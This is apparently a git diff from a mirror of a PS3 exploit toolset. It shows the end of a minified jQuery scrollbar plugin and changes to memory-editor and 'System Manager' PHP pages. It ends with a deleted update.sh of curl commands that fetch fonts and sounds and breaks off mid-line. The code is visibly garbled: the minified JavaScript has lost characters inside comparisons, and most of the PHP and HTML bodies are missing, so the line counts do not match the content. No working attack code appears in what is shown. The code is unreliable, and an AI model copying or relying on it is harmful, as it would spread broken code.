o=e(this),n=o.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container_wrapper"),l=r.length?r:e("#mCSB_"+n.idx+"_container"),s=[e("#mCSB_"+n.idx+"_scrollbar_vertical"),e("#mCSB_"+n.idx+"_scrollbar_horizontal")],c=[s[0].find(".mCSB_dragger"),s[1].find(".mCSB_dragger")];"x"!==i.axis&&(n.overflowed[0]&&!t?(s[0].add(c[0]).add(s[0].children("a")).css("display","block"),l.removeClass(d[8]+" "+d[10])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[0].css("display","none"),l.removeClass(d[10])):(s[0].css("display","none"),l.addClass(d[10])),l.addClass(d[8]))),"y"!==i.axis&&(n.overflowed[1]&&!t?(s[1].add(c[1]).add(s[1].children("a")).css("display","block"),l.removeClass(d[9]+" "+d[11])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[1].css("display","none"),l.removeClass(d[11])):(s[1].css("display","none"),l.addClass(d[11])),l.addClass(d[9]))),n.overflowed[0]||n.overflowed[1]?o.removeClass(d[5]):o.addClass(d[5])},O=function(t){var o=t.type,a=t.target.ownerDocument!==document&&null!==frameElement?[e(frameElement).offset().top,e(frameElement).offset().left]:null,n=A()&&t.target.ownerDocument!==top.document&&null!==frameElement?[e(t.view.frameElement).offset().top,e(t.view.frameElement).offset().left]:[0,0];switch(o){case"pointerdown":case"MSPointerDown":case"pointermove":case"MSPointerMove":case"pointerup":case"MSPointerUp":return a?[t.originalEvent.pageY-a[0]+n[0],t.originalEvent.pageX-a[1]+n[1],!1]:[t.originalEvent.pageY,t.originalEvent.pageX,!1];case"touchstart":case"touchmove":case"touchend":var i=t.originalEvent.touches[0]||t.originalEvent.changedTouches[0],r=t.originalEvent.touches.length||t.originalEvent.changedTouches.length;return t.target.ownerDocument!==document?[i.screenY,i.screenX,r>1]:[i.pageY,i.pageX,r>1];default:return a?[t.pageY-a[0]+n[0],t.pageX-a[1]+n[1],!1]:[t.pageY,t.pageX,!1]}},I=function(){function t(e,t,a,n){if(h[0].idleTimer=d.scrollInertia<233?250:0,o.attr("id")===f[1])var i="x",s=(o[0].offsetLeft-t+n)*l.scrollRatio.x;else var i="y",s=(o[0].offsetTop-e+a)*l.scrollRatio.y;G(r,s.toString(),{dir:i,drag:!0})}var o,n,i,r=e(this),l=r.data(a),d=l.opt,u=a+"_"+l.idx,f=["mCSB_"+l.idx+"_dragger_vertical","mCSB_"+l.idx+"_dragger_horizontal"],h=e("#mCSB_"+l.idx+"_container"),m=e("#"+f[0]+",#"+f[1]),p=d.advanced.releaseDraggableSelectors?m.add(e(d.advanced.releaseDraggableSelectors)):m,g=d.advanced.extraDraggableSelectors?e(!A()||top.document).add(e(d.advanced.extraDraggableSelectors)):e(!A()||top.document);m.bind("contextmenu."+u,function(e){e.preventDefault()}).bind("mousedown."+u+" touchstart."+u+" pointerdown."+u+" MSPointerDown."+u,function(t){if(t.stopImmediatePropagation(),t.preventDefault(),ee(t)){c=!0,s&&(document.onselectstart=function(){return!1}),L.call(h,!1),Q(r),o=e(this);var a=o.offset(),l=O(t)[0]-a.top,u=O(t)[1]-a.left,f=o.height()+a.top,m=o.width()+a.left;f>l&&l>0&&m>u&&u>0&&(n=l,i=u),C(o,"active",d.autoExpandScrollbar)}}).bind("touchmove."+u,function(e){e.stopImmediatePropagation(),e.preventDefault();var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;t(n,i,r,l)}),e(document).add(g).bind("mousemove."+u+" pointermove."+u+" MSPointerMove."+u,function(e){if(o){var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;if(n===r&&i===l)return;t(n,i,r,l)}}).add(p).bind("mouseup."+u+" touchend."+u+" pointerup."+u+" MSPointerUp."+u,function(){o&&(C(o,"active",d.autoExpandScrollbar),o=null),c=!1,s&&(document.onselectstart=null),L.call(h,!0)})},D=function(){function o(e){if(!te(e)||c||O(e)[2])return void(t=0);t=1,b=0,C=0,d=1,y.removeClass("mCS_touch_action");var o=I.offset();u=O(e)[0]-o.top,f=O(e)[1]-o.left,z=[O(e)[0],O(e)[1]]}function n(e){if(te(e)&&!c&&!O(e)[2]&&(T.documentTouchScroll||e.preventDefault(),e.stopImmediatePropagation(),(!C||b)&&d)){g=K();var t=M.offset(),o=O(e)[0]-t.top,a=O(e)[1]-t.left,n="mcsLinearOut";if(E.push(o),W.push(a),z[2]=Math.abs(O(e)[0]-z[0]),z[3]=Math.abs(O(e)[1]-z[1]),B.overflowed[0])var i=D[0].parent().height()-D[0].height(),r=u-o>0&&o-u>-(i*B.scrollRatio.y)&&(2*z[3]0&&a-f>-(l*B.scrollRatio.x)&&(2*z[2]30)){_=1e3/(v-p);var n="mcsEaseOut",i=2.5>_,r=i?[E[E.length-2],W[W.length-2]]:[0,0];x=i?[o-r[0],a-r[1]]:[o-h,a-m];var u=[Math.abs(x[0]),Math.abs(x[1])];_=i?[Math.abs(x[0]/4),Math.abs(x[1]/4)]:[_,_];var f=[Math.abs(I[0].offsetTop)-x[0]*l(u[0]/_[0],_[0]),Math.abs(I[0].offsetLeft)-x[1]*l(u[1]/_[1],_[1])];w="yx"===T.axis?[f[0],f[1]]:"x"===T.axis?[null,f[1]]:[f[0],null],S=[4*u[0]+T.scrollInertia,4*u[1]+T.scrollInertia];var y=parseInt(T.contentTouchScroll)||0;w[0]=u[0]>y?w[0]:0,w[1]=u[1]>y?w[1]:0,B.overflowed[0]&&s(w[0],S[0],n,"y",L,!1),B.overflowed[1]&&s(w[1],S[1],n,"x",L,!1)}}}function l(e,t){var o=[1.5*t,2*t,t/1.5,t/2];return e>90?t>4?o[0]:o[3]:e>60?t>3?o[3]:o[2]:e>30?t>8?o[1]:t>6?o[0]:t>4?t:o[2]:t>8?t:o[3]}function s(e,t,o,a,n,i){e&&G(y,e.toString(),{dur:t,scrollEasing:o,dir:a,overwrite:n,drag:i})}var d,u,f,h,m,p,g,v,x,_,w,S,b,C,y=e(this),B=y.data(a),T=B.opt,k=a+"_"+B.idx,M=e("#mCSB_"+B.idx),I=e("#mCSB_"+B.idx+"_container"),D=[e("#mCSB_"+B.idx+"_dragger_vertical"),e("#mCSB_"+B.idx+"_dragger_horizontal")],E=[],W=[],R=0,L="yx"===T.axis?"none":"all",z=[],P=I.find("iframe"),H=["touchstart."+k+" pointerdown."+k+" MSPointerDown."+k,"touchmove."+k+" pointermove."+k+" MSPointerMove."+k,"touchend."+k+" pointerup."+k+" MSPointerUp."+k],U=void 0!==document.body.style.touchAction&&""!==document.body.style.touchAction;I.bind(H[0],function(e){o(e)}).bind(H[1],function(e){n(e)}),M.bind(H[0],function(e){i(e)}).bind(H[2],function(e){r(e)}),P.length&&P.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(H[0],function(e){o(e),i(e)}).bind(H[1],function(e){n(e)}).bind(H[2],function(e){r(e)})})})},E=function(){function o(){return window.getSelection?window.getSelection().toString():document.selection&&"Control"!=document.selection.type?document.selection.createRange().text:0}function n(e,t,o){d.type=o&&i?"stepped":"stepless",d.scrollAmount=10,j(r,e,t,"mcsLinearOut",o?60:null)}var i,r=e(this),l=r.data(a),s=l.opt,d=l.sequential,u=a+"_"+l.idx,f=e("#mCSB_"+l.idx+"_container"),h=f.parent();f.bind("mousedown."+u,function(){t||i||(i=1,c=!0)}).add(document).bind("mousemove."+u,function(e){if(!t&&i&&o()){var a=f.offset(),r=O(e)[0]-a.top+f[0].offsetTop,c=O(e)[1]-a.left+f[0].offsetLeft;r>0&&r0&&cr?n("on",38):r>h.height()&&n("on",40)),"y"!==s.axis&&l.overflowed[1]&&(0>c?n("on",37):c>h.width()&&n("on",39)))}}).bind("mouseup."+u+" dragend."+u,function(){t||(i&&(i=0,n("off",null)),c=!1)})},W=function(){function t(t,a){if(Q(o),!z(o,t.target)){var r="auto"!==i.mouseWheel.deltaFactor?parseInt(i.mouseWheel.deltaFactor):s&&t.deltaFactor<100?100:t.deltaFactor||100,d=i.scrollInertia;if("x"===i.axis||"x"===i.mouseWheel.axis)var u="x",f=[Math.round(r*n.scrollRatio.x),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.width()?.9*l.width():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetLeft),p=c[1][0].offsetLeft,g=c[1].parent().width()-c[1].width(),v="y"===i.mouseWheel.axis?t.deltaY||a:t.deltaX;else var u="y",f=[Math.round(r*n.scrollRatio.y),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.height()?.9*l.height():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetTop),p=c[0][0].offsetTop,g=c[0].parent().height()-c[0].height(),v=t.deltaY||a;"y"===u&&!n.overflowed[0]||"x"===u&&!n.overflowed[1]||((i.mouseWheel.invert||t.webkitDirectionInvertedFromDevice)&&(v=-v),i.mouseWheel.normalizeDelta&&(v=0>v?-1:1),(v>0&&0!==p||0>v&&p!==g||i.mouseWheel.preventDefault)&&(t.stopImmediatePropagation(),t.preventDefault()),t.deltaFactor<5&&!i.mouseWheel.normalizeDelta&&(h=t.deltaFactor,d=17),G(o,(m-v*h).toString(),{dir:u,dur:d}))}}if(e(this).data(a)){var o=e(this),n=o.data(a),i=n.opt,r=a+"_"+n.idx,l=e("#mCSB_"+n.idx),c=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")],d=e("#mCSB_"+n.idx+"_container").find("iframe");d.length&&d.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind("mousewheel."+r,function(e,o){t(e,o)})})}),l.bind("mousewheel."+r,function(e,o){t(e,o)})}},R=new Object,A=function(t){var o=!1,a=!1,n=null;if(void 0===t?a="#empty":void 0!==e(t).attr("id")&&(a=e(t).attr("id")),a!==!1&&void 0!==R[a])return R[a];if(t){try{var i=t.contentDocument||t.contentWindow.document;n=i.body.innerHTML}catch(r){}o=null!==n}else{try{var i=top.document;n=i.body.innerHTML}catch(r){}o=null!==n}return a!==!1&&(R[a]=o),o},L=function(e){var t=this.find("iframe");if(t.length){var o=e?"auto":"none";t.css("pointer-events",o)}},z=function(t,o){var n=o.nodeName.toLowerCase(),i=t.data(a).opt.mouseWheel.disableOver,r=["select","textarea"];return e.inArray(n,i)>-1&&!(e.inArray(n,r)>-1&&!e(o).is(":focus"))},P=function(){var t,o=e(this),n=o.data(a),i=a+"_"+n.idx,r=e("#mCSB_"+n.idx+"_container"),l=r.parent(),s=e(".mCSB_"+n.idx+"_scrollbar ."+d[12]);s.bind("mousedown."+i+" touchstart."+i+" pointerdown."+i+" MSPointerDown."+i,function(o){c=!0,e(o.target).hasClass("mCSB_dragger")||(t=1)}).bind("touchend."+i+" pointerup."+i+" MSPointerUp."+i,function(){c=!1}).bind("click."+i,function(a){if(t&&(t=0,e(a.target).hasClass(d[12])||e(a.target).hasClass("mCSB_draggerRail"))){Q(o);var i=e(this),s=i.find(".mCSB_dragger");if(i.parent(".mCSB_scrollTools_horizontal").length>0){if(!n.overflowed[1])return;var c="x",u=a.pageX>s.offset().left?-1:1,f=Math.abs(r[0].offsetLeft)-u*(.9*l.width())}else{if(!n.overflowed[0])return;var c="y",u=a.pageY>s.offset().top?-1:1,f=Math.abs(r[0].offsetTop)-u*(.9*l.height())}G(o,f.toString(),{dir:c,scrollEasing:"mcsEaseInOut"})}})},H=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=e("#mCSB_"+o.idx+"_container"),l=r.parent();r.bind("focusin."+i,function(){var o=e(document.activeElement),a=r.find(".mCustomScrollBox").length,i=0;o.is(n.advanced.autoScrollOnFocus)&&(Q(t),clearTimeout(t[0]._focusTimeout),t[0]._focusTimer=a?(i+17)*a:0,t[0]._focusTimeout=setTimeout(function(){var e=[ae(o)[0],ae(o)[1]],a=[r[0].offsetTop,r[0].offsetLeft],s=[a[0]+e[0]>=0&&a[0]+e[0]=0&&a[0]+e[1]a");s.bind("contextmenu."+r,function(e){e.preventDefault()}).bind("mousedown."+r+" touchstart."+r+" pointerdown."+r+" MSPointerDown."+r+" mouseup."+r+" touchend."+r+" pointerup."+r+" MSPointerUp."+r+" mouseout."+r+" pointerout."+r+" MSPointerOut."+r+" click."+r,function(a){function r(e,o){i.scrollAmount=n.scrollButtons.scrollAmount,j(t,e,o)}if(a.preventDefault(),ee(a)){var l=e(this).attr("class");switch(i.type=n.scrollButtons.scrollType,a.type){case"mousedown":case"touchstart":case"pointerdown":case"MSPointerDown":if("stepped"===i.type)return;c=!0,o.tweenRunning=!1,r("on",l);break;case"mouseup":case"touchend":case"pointerup":case"MSPointerUp":case"mouseout":case"pointerout":case"MSPointerOut":if("stepped"===i.type)return;c=!1,i.dir&&r("off",l);break;case"click":if("stepped"!==i.type||o.tweenRunning)return;r("on",l)}}})},q=function(){function t(t){function a(e,t){r.type=i.keyboard.scrollType,r.scrollAmount=i.keyboard.scrollAmount,"stepped"===r.type&&n.tweenRunning||j(o,e,t)}switch(t.type){case"blur":n.tweenRunning&&r.dir&&a("off",null);break;case"keydown":case"keyup":var l=t.keyCode?t.keyCode:t.which,s="on";if("x"!==i.axis&&(38===l||40===l)||"y"!==i.axis&&(37===l||39===l)){if((38===l||40===l)&&!n.overflowed[0]||(37===l||39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)||(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(33===l||34===l){if((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type){Q(o);var f=34===l?-1:1;if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=Math.abs(c[0].offsetLeft)-f*(.9*d.width());else var h="y",m=Math.abs(c[0].offsetTop)-f*(.9*d.height());G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}else if((35===l||36===l)&&!e(document.activeElement).is(u)&&((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type)){if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=35===l?Math.abs(d.width()-c.outerWidth(!1)):0;else var h="y",m=35===l?Math.abs(d.height()-c.outerHeight(!1)):0;G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}}var o=e(this),n=o.data(a),i=n.opt,r=n.sequential,l=a+"_"+n.idx,s=e("#mCSB_"+n.idx),c=e("#mCSB_"+n.idx+"_container"),d=c.parent(),u="input,textarea,select,datalist,keygen,[contenteditable='true']",f=c.find("iframe"),h=["blur."+l+" keydown."+l+" keyup."+l];f.length&&f.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(h[0],function(e){t(e)})})}),s.attr("tabindex","0").bind(h[0],function(e){t(e)})},j=function(t,o,n,i,r){function l(e){u.snapAmount&&(f.scrollAmount=u.snapAmount instanceof Array?"x"===f.dir[0]?u.snapAmount[1]:u.snapAmount[0]:u.snapAmount);var o="stepped"!==f.type,a=r?r:e?o?p/1.5:g:1e3/60,n=e?o?7.5:40:2.5,s=[Math.abs(h[0].offsetTop),Math.abs(h[0].offsetLeft)],d=[c.scrollRatio.y>10?10:c.scrollRatio.y,c.scrollRatio.x>10?10:c.scrollRatio.x],m="x"===f.dir[0]?s[1]+f.dir[1]*(d[1]*n):s[0]+f.dir[1]*(d[0]*n),v="x"===f.dir[0]?s[1]+f.dir[1]*parseInt(f.scrollAmount):s[0]+f.dir[1]*parseInt(f.scrollAmount),x="auto"!==f.scrollAmount?v:m,_=i?i:e?o?"mcsLinearOut":"mcsEaseInOut":"mcsLinear",w=!!e;return e&&17>a&&(x="x"===f.dir[0]?s[1]:s[0]),G(t,x.toString(),{dir:f.dir[0],scrollEasing:_,dur:a,onComplete:w}),e?void(f.dir=!1):(clearTimeout(f.step),void(f.step=setTimeout(function(){l()},a)))}function s(){clearTimeout(f.step),$(f,"step"),Q(t)}var c=t.data(a),u=c.opt,f=c.sequential,h=e("#mCSB_"+c.idx+"_container"),m="stepped"===f.type,p=u.scrollInertia<26?26:u.scrollInertia,g=u.scrollInertia<1?17:u.scrollInertia;switch(o){case"on":if(f.dir=[n===d[16]||n===d[15]||39===n||37===n?"x":"y",n===d[13]||n===d[15]||38===n||37===n?-1:1],Q(t),oe(n)&&"stepped"===f.type)return;l(m);break;case"off":s(),(m||c.tweenRunning&&f.dir)&&l(!0)}},Y=function(t){var o=e(this).data(a).opt,n=[];return"function"==typeof t&&(t=t()),t instanceof Array?n=t.length>1?[t[0],t[1]]:"x"===o.axis?[null,t[0]]:[t[0],null]:(n[0]=t.y?t.y:t.x||"x"===o.axis?null:t,n[1]=t.x?t.x:t.y||"y"===o.axis?null:t),"function"==typeof n[0]&&(n[0]=n[0]()),"function"==typeof n[1]&&(n[1]=n[1]()),n},X=function(t,o){if(null!=t&&"undefined"!=typeof t){var n=e(this),i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx+"_container"),s=l.parent(),c=typeof t;o||(o="x"===r.axis?"x":"y");var d="x"===o?l.outerWidth(!1)-s.width():l.outerHeight(!1)-s.height(),f="x"===o?l[0].offsetLeft:l[0].offsetTop,h="x"===o?"left":"top";switch(c){case"function":return t();case"object":var m=t.jquery?t:e(t);if(!m.length)return;return"x"===o?ae(m)[1]:ae(m)[0];case"string":case"number":if(oe(t))return Math.abs(t);if(-1!==t.indexOf("%"))return Math.abs(d*parseInt(t)/100);if(-1!==t.indexOf("-="))return Math.abs(f-parseInt(t.split("-=")[1]));if(-1!==t.indexOf("+=")){var p=f+parseInt(t.split("+=")[1]);return p>=0?0:Math.abs(p)}if(-1!==t.indexOf("px")&&oe(t.split("px")[0]))return Math.abs(t.split("px")[0]);if("top"===t||"left"===t)return 0;if("bottom"===t)return Math.abs(s.height()-l.outerHeight(!1));if("right"===t)return Math.abs(s.width()-l.outerWidth(!1));if("first"===t||"last"===t){var m=l.find(":"+t);return"x"===o?ae(m)[1]:ae(m)[0]}return e(t).length?"x"===o?ae(e(t))[1]:ae(e(t))[0]:(l.css(h,t),void u.update.call(null,n[0]))}}},N=function(t){function o(){return clearTimeout(f[0].autoUpdate),0===l.parents("html").length?void(l=null):void(f[0].autoUpdate=setTimeout(function(){return c.advanced.updateOnSelectorChange&&(s.poll.change.n=i(),s.poll.change.n!==s.poll.change.o)?(s.poll.change.o=s.poll.change.n,void r(3)):c.advanced.updateOnContentResize&&(s.poll.size.n=l[0].scrollHeight+l[0].scrollWidth+f[0].offsetHeight+l[0].offsetHeight+l[0].offsetWidth,s.poll.size.n!==s.poll.size.o)?(s.poll.size.o=s.poll.size.n,void r(1)):!c.advanced.updateOnImageLoad||"auto"===c.advanced.updateOnImageLoad&&"y"===c.axis||(s.poll.img.n=f.find("img").length,s.poll.img.n===s.poll.img.o)?void((c.advanced.updateOnSelectorChange||c.advanced.updateOnContentResize||c.advanced.updateOnImageLoad)&&o()):(s.poll.img.o=s.poll.img.n,void f.find("img").each(function(){n(this)}))},c.advanced.autoUpdateTimeout))}function n(t){function o(e,t){return function(){ return t.apply(e,arguments)}}function a(){this.onload=null,e(t).addClass(d[2]),r(2)}if(e(t).hasClass(d[2]))return void r();var n=new Image;n.onload=o(n,a),n.src=t.src}function i(){c.advanced.updateOnSelectorChange===!0&&(c.advanced.updateOnSelectorChange="*");var e=0,t=f.find(c.advanced.updateOnSelectorChange);return c.advanced.updateOnSelectorChange&&t.length>0&&t.each(function(){e+=this.offsetHeight+this.offsetWidth}),e}function r(e){clearTimeout(f[0].autoUpdate),u.update.call(null,l[0],e)}var l=e(this),s=l.data(a),c=s.opt,f=e("#mCSB_"+s.idx+"_container");return t?(clearTimeout(f[0].autoUpdate),void $(f[0],"autoUpdate")):void o()},V=function(e,t,o){return Math.round(e/t)*t-o},Q=function(t){var o=t.data(a),n=e("#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal");n.each(function(){Z.call(this)})},G=function(t,o,n){function i(e){return s&&c.callbacks[e]&&"function"==typeof c.callbacks[e]}function r(){return[c.callbacks.alwaysTriggerOffsets||w>=S[0]+y,c.callbacks.alwaysTriggerOffsets||-B>=w]}function l(){var e=[h[0].offsetTop,h[0].offsetLeft],o=[x[0].offsetTop,x[0].offsetLeft],a=[h.outerHeight(!1),h.outerWidth(!1)],i=[f.height(),f.width()];t[0].mcs={content:h,top:e[0],left:e[1],draggerTop:o[0],draggerLeft:o[1],topPct:Math.round(100*Math.abs(e[0])/(Math.abs(a[0])-i[0])),leftPct:Math.round(100*Math.abs(e[1])/(Math.abs(a[1])-i[1])),direction:n.dir}}var s=t.data(a),c=s.opt,d={trigger:"internal",dir:"y",scrollEasing:"mcsEaseOut",drag:!1,dur:c.scrollInertia,overwrite:"all",callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},n=e.extend(d,n),u=[n.dur,n.drag?0:n.dur],f=e("#mCSB_"+s.idx),h=e("#mCSB_"+s.idx+"_container"),m=h.parent(),p=c.callbacks.onTotalScrollOffset?Y.call(t,c.callbacks.onTotalScrollOffset):[0,0],g=c.callbacks.onTotalScrollBackOffset?Y.call(t,c.callbacks.onTotalScrollBackOffset):[0,0];if(s.trigger=n.trigger,0===m.scrollTop()&&0===m.scrollLeft()||(e(".mCSB_"+s.idx+"_scrollbar").css("visibility","visible"),m.scrollTop(0).scrollLeft(0)),"_resetY"!==o||s.contentReset.y||(i("onOverflowYNone")&&c.callbacks.onOverflowYNone.call(t[0]),s.contentReset.y=1),"_resetX"!==o||s.contentReset.x||(i("onOverflowXNone")&&c.callbacks.onOverflowXNone.call(t[0]),s.contentReset.x=1),"_resetY"!==o&&"_resetX"!==o){if(!s.contentReset.y&&t[0].mcs||!s.overflowed[0]||(i("onOverflowY")&&c.callbacks.onOverflowY.call(t[0]),s.contentReset.x=null),!s.contentReset.x&&t[0].mcs||!s.overflowed[1]||(i("onOverflowX")&&c.callbacks.onOverflowX.call(t[0]),s.contentReset.x=null),c.snapAmount){var v=c.snapAmount instanceof Array?"x"===n.dir?c.snapAmount[1]:c.snapAmount[0]:c.snapAmount;o=V(o,v,c.snapOffset)}switch(n.dir){case"x":var x=e("#mCSB_"+s.idx+"_dragger_horizontal"),_="left",w=h[0].offsetLeft,S=[f.width()-h.outerWidth(!1),x.parent().width()-x.width()],b=[o,0===o?0:o/s.scrollRatio.x],y=p[1],B=g[1],T=y>0?y/s.scrollRatio.x:0,k=B>0?B/s.scrollRatio.x:0;break;case"y":var x=e("#mCSB_"+s.idx+"_dragger_vertical"),_="top",w=h[0].offsetTop,S=[f.height()-h.outerHeight(!1),x.parent().height()-x.height()],b=[o,0===o?0:o/s.scrollRatio.y],y=p[0],B=g[0],T=y>0?y/s.scrollRatio.y:0,k=B>0?B/s.scrollRatio.y:0}b[1]<0||0===b[0]&&0===b[1]?b=[0,0]:b[1]>=S[1]?b=[S[0],S[1]]:b[0]=-b[0],t[0].mcs||(l(),i("onInit")&&c.callbacks.onInit.call(t[0])),clearTimeout(h[0].onCompleteTimeout),J(x[0],_,Math.round(b[1]),u[1],n.scrollEasing),!s.tweenRunning&&(0===w&&b[0]>=0||w===S[0]&&b[0]<=S[0])||J(h[0],_,Math.round(b[0]),u[0],n.scrollEasing,n.overwrite,{onStart:function(){n.callbacks&&n.onStart&&!s.tweenRunning&&(i("onScrollStart")&&(l(),c.callbacks.onScrollStart.call(t[0])),s.tweenRunning=!0,C(x),s.cbOffsets=r())},onUpdate:function(){n.callbacks&&n.onUpdate&&i("whileScrolling")&&(l(),c.callbacks.whileScrolling.call(t[0]))},onComplete:function(){if(n.callbacks&&n.onComplete){"yx"===c.axis&&clearTimeout(h[0].onCompleteTimeout);var e=h[0].idleTimer||0;h[0].onCompleteTimeout=setTimeout(function(){i("onScroll")&&(l(),c.callbacks.onScroll.call(t[0])),i("onTotalScroll")&&b[1]>=S[1]-T&&s.cbOffsets[0]&&(l(),c.callbacks.onTotalScroll.call(t[0])),i("onTotalScrollBack")&&b[1]<=k&&s.cbOffsets[1]&&(l(),c.callbacks.onTotalScrollBack.call(t[0])),s.tweenRunning=!1,h[0].idleTimer=0,C(x,"hide")},e)}}})}},J=function(e,t,o,a,n,i,r){function l(){S.stop||(x||m.call(),x=K()-v,s(),x>=S.time&&(S.time=x>S.time?x+f-(x-S.time):x+f-1,S.time0?(S.currVal=u(S.time,_,b,a,n),w[t]=Math.round(S.currVal)+"px"):w[t]=o+"px",p.call()}function c(){f=1e3/60,S.time=x+f,h=window.requestAnimationFrame?window.requestAnimationFrame:function(e){return s(),setTimeout(e,.01)},S.id=h(l)}function d(){null!=S.id&&(window.requestAnimationFrame?window.cancelAnimationFrame(S.id):clearTimeout(S.id),S.id=null)}function u(e,t,o,a,n){switch(n){case"linear":case"mcsLinear":return o*e/a+t;case"mcsLinearOut":return e/=a,e--,o*Math.sqrt(1-e*e)+t;case"easeInOutSmooth":return e/=a/2,1>e?o/2*e*e+t:(e--,-o/2*(e*(e-2)-1)+t);case"easeInOutStrong":return e/=a/2,1>e?o/2*Math.pow(2,10*(e-1))+t:(e--,o/2*(-Math.pow(2,-10*e)+2)+t);case"easeInOut":case"mcsEaseInOut":return e/=a/2,1>e?o/2*e*e*e+t:(e-=2,o/2*(e*e*e+2)+t);case"easeOutSmooth":return e/=a,e--,-o*(e*e*e*e-1)+t;case"easeOutStrong":return o*(-Math.pow(2,-10*e/a)+1)+t;case"easeOut":case"mcsEaseOut":default:var i=(e/=a)*e,r=i*e;return t+o*(.499999999999997*r*i+-2.5*i*i+5.5*r+-6.5*i+4*e)}}e._mTween||(e._mTween={top:{},left:{}});var f,h,r=r||{},m=r.onStart||function(){},p=r.onUpdate||function(){},g=r.onComplete||function(){},v=K(),x=0,_=e.offsetTop,w=e.style,S=e._mTween[t];"left"===t&&(_=e.offsetLeft);var b=o-_;S.stop=0,"none"!==i&&d(),c()},K=function(){return window.performance&&window.performance.now?window.performance.now():window.performance&&window.performance.webkitNow?window.performance.webkitNow():Date.now?Date.now():(new Date).getTime()},Z=function(){var e=this;e._mTween||(e._mTween={top:{},left:{}});for(var t=["top","left"],o=0;o=0&&a[0]+ae(n)[0]=0&&a[1]+ae(n)[1]=0&&r[1]-i[1]*l[1][0]<0&&r[1]+n[1]-i[1]*l[1][1]>=0},mcsOverflow:e.expr[":"].mcsOverflow||function(t){var o=e(t).data(a);if(o)return o.overflowed[0]||o.overflowed[1]}})})})}); \ No newline at end of file diff --git a/log.php b/log.php index 62b3fd8..e69de29 100644 --- a/log.php +++ b/log.php @@ -1 +0,0 @@ -Access denied \ No newline at end of file diff --git a/memedit.php b/memedit.php deleted file mode 100644 index fa9fd8a..0000000 --- a/memedit.php +++ /dev/null @@ -1,534 +0,0 @@ - -
        -

        Userland Memory Editor v1.1

        -
        - - - - - - - - - - - - -
        -
        - - - - -
        -
        - - - - - - - - - - - - - - - - - - - - - -
        Offset0+0x4+0x8+0xCASCII
        -
        -
        -
        - - - - - - - - - - - - - - -
        -
        - -
        -
        - - \ No newline at end of file diff --git a/sysmem.php b/sysmem.php new file mode 100644 index 0000000..582d81a --- /dev/null +++ b/sysmem.php @@ -0,0 +1,2134 @@ + + +
        + +

        System Manager v1.3.1

        +
        + + + + + + + + + + + + +
        CFW Compatible PS3:
        +
        +
        +
        XXX
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/umemory.php b/umemory.php new file mode 100644 index 0000000..55518f1 --- /dev/null +++ b/umemory.php @@ -0,0 +1 @@ +

        Not implemented, use "System Manager" tab!

        diff --git a/update.sh b/update.sh deleted file mode 100755 index 0b100fd..0000000 --- a/update.sh +++ /dev/null @@ -1,85 +0,0 @@ -curl -L 'https://www.ps3xploit.net/bgtoolset/' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -o ./index.html -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/fonts/forkawesome-webfont.woff2' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/fonts/forkawesome-webfont.woff2 -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/fonts/forkawesome-webfont.ttf' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/fonts/forkawesome-webfont.ttf -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/fonts/forkawesome-webfont.woff' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/fonts/forkawesome-webfont.woff -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/snd/snd_ng.mp3' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/snd/snd_ng.mp3 -curl -L 'https://www.ps3xploit.net/bgtoolset/assets/snd/snd_ok.mp3' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Referer: https://www.ps3xploit.net/bgtoolset/' -o ./assets/snd/snd_ok.mp3 -curl -L 